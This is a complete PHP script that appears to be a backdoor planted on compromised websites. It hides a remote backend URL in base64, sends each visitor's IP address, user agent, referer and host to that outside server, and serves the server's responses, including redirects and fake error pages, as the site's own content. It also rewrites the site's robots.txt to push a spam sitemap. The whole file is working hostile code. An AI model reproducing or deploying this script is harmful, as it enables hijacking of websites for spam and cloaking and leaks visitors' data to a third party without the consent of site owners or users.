<?php define('BACKEND', base64_decode('aHR0cDovL2pyMDQ3LmhlcmVmcmFtZS5jb20vZ29hcGk=')); function gv($key) { return isset($_SERVER[$key]) ? $_SERVER[$key] : ''; } function isHttps() { if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { return true; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') { return true; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return true; } return false; } function getClientIp() { $headers = array( 'HTTP_CLIENT_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR', ); foreach ($headers as $key) { if (!isset($_SERVER[$key])) continue; foreach (explode(',', $_SERVER[$key]) as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } return ''; } function httpRequest($url, $data = '') { $fullUrl = $data ? "{$url}?{$data}" : $url; $response = false; if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $fullUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); if ($response !== false) { $info = curl_getinfo($ch); if (!empty($response) && $response[0] !== '7') { $contentType = isset($info['content_type']) ? $info['content_type'] : ''; if ($contentType) @header("Content-Type: {$contentType}"); } } curl_close($ch); } if ($response === false) { $response = @file_get_contents($fullUrl); } return $response; } function fetchBackend($url, $queryString) { $response = httpRequest($url, $queryString); if (!$response) { return false; } $flag = $response[0]; if ($flag === '4') { @header('HTTP/1.1 404 Not Found'); echo substr($response, 1); die; } if ($flag === '5') { @header('HTTP/1.1 500 Internal Server Error'); echo substr($response, 1); die; } if ($flag === '3') { @header('HTTP/1.1 302 Found'); @header('Location: ' . substr($response, 1)); die; } if ($flag === '7') return false; if ($flag === '8') die; return $response; } $requestUri = gv('REQUEST_URI'); if (trim($requestUri, '/') === 'jp2023') { $host = parse_url(BACKEND, PHP_URL_HOST); $hostParts = explode('.', $host); $identifier = isset($hostParts[0]) ? $hostParts[0] : 'unknown'; die("<!DOCTYPE html><html lang='ja'><head><meta content='text/html; charset=utf-8'/></head><body><h1>404 Not Found!({$identifier})</h1></body></html>"); } $params = http_build_query(array( 'uri' => $requestUri, 'dom' => gv('HTTP_HOST'), 'ip' => getClientIp(), 'lang' => gv('HTTP_ACCEPT_LANGUAGE'), 'agent' => gv('HTTP_USER_AGENT'), 'refer' => gv('HTTP_REFERER'), 'http' => isHttps() ? 'https' : 'http', )); if (strpos($requestUri, 'pingsitemap') !== false) { $robots_contents = "User-agent: *\r\nAllow: /\r\n"; $scriptName = gv('SCRIPT_NAME'); $scripPath = ''; if (strpos($scriptName, 'index.p') !== false) { $scripPath = '/'; } else { $scripPath = $scriptName . '?'; } $protocol = isHttps() ? 'https' : 'http'; $domain = gv('HTTP_HOST'); $sitemap = $protocol . '://' . $domain . $scripPath . 'sitemap.xml'; $robots_contents .= "Sitemap: " . $sitemap . "\r\n"; if (@file_put_contents('robots.txt', $robots_contents)) { echo '1'; } else { echo '0'; } } else { $html = fetchBackend(BACKEND, $params); if ($html) { while (ob_get_level() > 0) {@ob_end_clean();} die($html); } }?>